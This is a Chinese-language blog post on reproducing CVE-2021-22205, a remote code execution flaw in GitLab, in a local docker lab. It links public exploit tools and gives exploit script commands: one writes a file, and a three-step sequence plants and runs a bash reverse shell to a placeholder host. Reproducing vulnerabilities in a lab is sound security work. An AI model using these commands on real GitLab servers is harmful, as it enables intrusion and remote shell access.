CVE-2021-22205复现

影响版本：RCE exploit for gitlab version < 13.10.3git工具：GitHub - mr-r3bot/Gitlab-CVE-2021-22205https://github.com/projectdiscovery/nucleihttps://github.com/projectdiscovery/nuclei-templatespython3 explo

Adsatrtgo

2416人浏览 · 2021-10-28 23:15:03

Adsatrtgo · 2021-10-28 23:15:03 发布

影响版本：

RCE exploit for gitlab version < 13.10.3

git工具：

推荐使用第一个

https://github.com/Al1ex/CVE-2021-22205

GitHub - mr-r3bot/Gitlab-CVE-2021-22205

https://github.com/projectdiscovery/nuclei

https://github.com/projectdiscovery/nuclei-templates

环境搭建：

export GITLAB_HOME=/Users/XXX/Desktop/software/CVE/CVE-2021-22205
docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

建议内存开大，直接访问本地端口

验证

写文件：

python3 CVE-2021-22205.py -a true -t http://localhost:8089/ -c "echo 'Attacked by Al1exp' > /tmp/1.txt"

反弹shell

python3 CVE-2021-22205.py -a true -t http://127.0.0.1:8089 -c "echo 'bash -i >& /dev/tcp/xxxxxxxx/8080 0>&1' > /tmp/1.sh"
python3 CVE-2021-22205.py -a true -t http://127.0.0.1:8089 -c "chmod +x /tmp/1.sh"
python3 CVE-2021-22205.py -a true -t http://127.0.0.1:8089 -c "/bin/bash /tmp/1.sh"